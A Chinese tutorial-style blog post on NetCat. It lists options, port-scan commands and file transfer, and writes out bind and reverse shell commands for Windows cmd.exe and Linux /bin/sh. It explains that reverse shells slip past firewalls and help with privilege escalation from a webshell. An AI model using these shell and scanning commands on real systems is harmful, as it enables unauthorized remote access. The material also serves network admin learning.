图解用NetCat连接远程端口
一 Netcat使用手冊
簡介:
在網絡工具中有“瑞士軍刀”美譽的NetCat(以下簡稱nc),在我們用了N年了至今仍是愛不釋手。因為它短小精悍(這個用在它身上很適合,現在有人已經將其修改成大約10K左右,而且功能不減少)。
?
參數格式?
連接到某處:
?
nc [-options] hostname port[s] [ports] …
?
監聽端口等待連接:
?
nc -l -p port [-options] [hostname] [port]
?
主要參數:
??
options:
?
-d ? ? ? ? ? ? ?無命令行界面,使用后臺模式
?
-e prog ? ? ? ? ?程序重定向 [危險!!]
?
-g gateway ? ? ? 源路由跳躍點, 不超過8
?
-G num ? ? ? ? ?源路由指示器: 4, 8, 12, ...
?
-h ? ? ? ? ? ? ?獲取幫助信息
?
-i secs ? ? ? ? ? 延時設置,端口掃描時使用
?
-l ? ? ? ? ? ? ? 監聽入站信息
?
-L ? ? ? ? ? ? ?監聽知道NetCat被結束(可斷開重連)
?
-n ? ? ? ? ? ? ?以數字形式表示的IP地址
?
-o file ? ? ? ? ? 使進制記錄
?
-p port ? ? ? ? ?打開本地端口
?
-r ? ? ? ? ? ? ? 隨機本地和遠程的端口
?
-s addr ? ? ? ? ?本地源地址
?
-t ? ? ? ? ? ? ? 以TELNET的形式應答入站請求
?
-u ? ? ? ? ? ? ?UDP 模式
?
-v ? ? ? ? ? ? ? 顯示詳細信息 [使用=vv獲取更詳細的信息]
?
-w secs ? ? ? ? ?連接超時設置
?
-z ? ? ? ? ? ? ? I/O 模式 [掃描時使用]
?
端口號可以是單個的或者存在一個范圍: m-n [包含值]。
?
?
主要用途
?
一般我們使用netcat做的最多的事情為以下三種:
?
1、 ?掃描指定IP端口情況
?
2、 ?端口轉發數據(重點)
?
3、提交自定義數據包
?
1、掃描常用命令。
?
以下IP 處可以使用域名,nc會調用NDS解析成IP地址。
?
【命令】nc -v ip port
?
【例如】nc -v 96.44.174.9 80
?
【解釋】掃瞄某 IP 的某個端口,返回端口信息詳細輸出。
?
【命令】nc -v -z ip port-port
?
【例如】nc -v -z 96.44.174.9 80-1024
?
【解釋】掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。
?
【命令】nc -v -z -u ip ?port-port
?
【例如】nc -v -z -u 96.44.174.9 25-1024
?
【解釋】掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。
?
【命令】nc -nvv -w2 -z ip port-port
?
【例如】nc -nvv -w2 -z 96.44.174.9 80-1024
?
【解釋】掃錨某IP的端口段,連接超時時間為2秒。
?
實例:
?
總結:使用nc掃描速度真的不敢恭維,而且對于掃描主機存活、端口等還是交給更專業的nmap來進行,物盡其用才是硬道理,這里全當科普。
?
2、監聽端口、連接端口、轉發端口常用命令。
?
【命令】nc -l -p 520
?
【解釋】開啟本機的 TCP 520 端口并監聽次端口的上傳輸的數據。
?
【命令】nc -l -v -p 520
?
【解釋】開啟本機的 TCP 520 端口并將監聽到的信息輸出到當前 CMD 窗口。這個命令也是端口轉發shell的基礎。
?
【命令】nc -l -p 520 > C:/log.dat
?
【解釋】開啟本機的 TCP 520 端口并將監聽到的信息輸出到 C:/log.dat 下的日志文件里。
?
【命令】nc -nvv 192.168.1.101 520
?
【解釋】連接到192.168.1.101主機的 520。
?
重點一(正向連接):
?
【遠程運行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe
?
【本地運行】nc -nvv 192.168.1.101 2012
?
【解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用于連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。
?
重點二(反向連接):
?
【本地運行】nc -l –vv -p 2012
?
【遠程運行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012
?
【解釋】采用反向連接方式,先在本地主機(擁有公網IP)運行 nc -l –vv -p 2012 開啟2012 端口并監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。
?
總結:這個情況是最常用的內網端口轉發功能,這樣反彈shell即可執行命令。反向連接就是常用的反彈shell到本地,因為由主機主動發送的情況本地防火墻等設備一般不會去攔截,而正向連接到遠程主機的某端口常常被攔截。
?
實例:
?
(上面一個cmd是公網IP主機,下圖為筆者本地主機,可以通過目錄看到shell可執行命令)
?
4、提交數據、文件傳輸常用命令
?
【命令】nc -vv www.91ri.org port < C:/http.txt
?
【例如】nc -vv www.91ri.org 80 < C:/http.txt
?
【解釋】提交http.txt內數據包到www.91ri.org的80端口,-vv參數會使速度變慢,但可以跟蹤過程。例如IISput漏洞就可以自定義數據包使用此方法提交。
?
【命令1】nc -v -n ip port < C:/sunzn.exe
?
【命令2】nc -v -l -p port > D:/sunzn.exe
?
【解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,并把這些數據發送到遠程主機的對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口并把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
?
傳輸http數據包實例:
?
Linux環境下netcat使用
?
好東西肯定需要在不同的環境中都能使用,在linux環境中同樣有著netcat可以使用。主要過程如下。
?
Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可交互環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執行溢出進行提權。
?
主要步驟:
?
1、wget一個tar壓縮的nc
?
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz?
?
2、解壓文件
tar zxvf netcat-0.7.1.tar.gz?
?
3、解壓完畢之后會生成目錄
??
cd netcat-0.7.1?
?
4、配置環境
?
./configure?
?
5、配置完了之后就可以編譯了。
??
Make?
?
6、編譯成功就生成了netcat可執行的文件了,位于src目錄,cd進去進行運行./netcat文件就是我們的nc了。
?
遠程Linux轉發命令
?
./netcat 8.8.8.8 1234 -e /bin/sh?
?
?
from:http://www.91ri.org/7761.html?
?
?
二 操作實例
nc -l -v -p 520 開啟本機520端口,監聽,在控制臺顯示監聽到的內容; 下圖,第一條命令,先檢查本機是否打開520端口,未開; 第二條命令開啟520;進入監聽狀態; 再另外打開一個CMD,查看520,發現520端口已經打開;?
開啟520并進入監聽后,打Ctrl+C退出;
在另一個CMD查找520,找不到了;
?
192.168.1.87的23端口已知開放;
打入下圖命令連接;提示連接拒絕,估計被殺軟禁止了;
?
下面以127.0.0.1模擬遠程;
?
在遠程機器上運行:
nc -l -p 2099 -t -e C:\Windows\system32\cmd.exe
把cmd綁定到2099端口;
?
在本機運行:
nc -nvv 127.0.0.1 2099
連接遠程的2099;
?
在123號端口同樣操作一次;
?
上面兩個操作都只是顯示open,就退出;是啥情況還得研究;
?
正向連接;
第一個cmd,遠程主機,打開2099并監聽;
第二個cmd,遠程主機,綁定cmd到2099;
第三個cmd,本地,連接遠程主機的2099;下圖是第三個cmd敲入了命令未回車的截圖;
?
回車以后如下圖;顯示連接上了;
?
根據資料說似乎到此可在遠程主機上執行cmd命令了,不過看下圖的顯示;只是在本機打的命令,會在遠程的監聽端口顯示而已;
這是啥情況尼,也許是殺軟禁止了;再說咱也沒干過黑別人電腦的事;下次再研究吧;
?
反向連接;按資料說更不易被防火墻阻止;
第一個cmd,本機,打開2099進入監聽;
第二個cmd,本機,開啟2099端口并監聽等待遠程主機連接;
第三個cmd,遠程主機,將遠程主機的 CMD 重定向到 IP 地址為 127.0.0.1 端口號為2099 的主機上,
按資料說成功后遠程主機將獲得一個CMD Shell;意思是遠程主機可操作本地的cmd命令;
?
不過連接了以后情況如下;遠程主機看上去是連上了;不過打命令也無反應;
估計此類方法當前都被殺軟禁止了;
?
總結
以上是生活随笔為你收集整理的图解用NetCat连接远程端口的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 图解第一个Matlab仿真实例
- 下一篇: SharpDevelop 5.1 调试一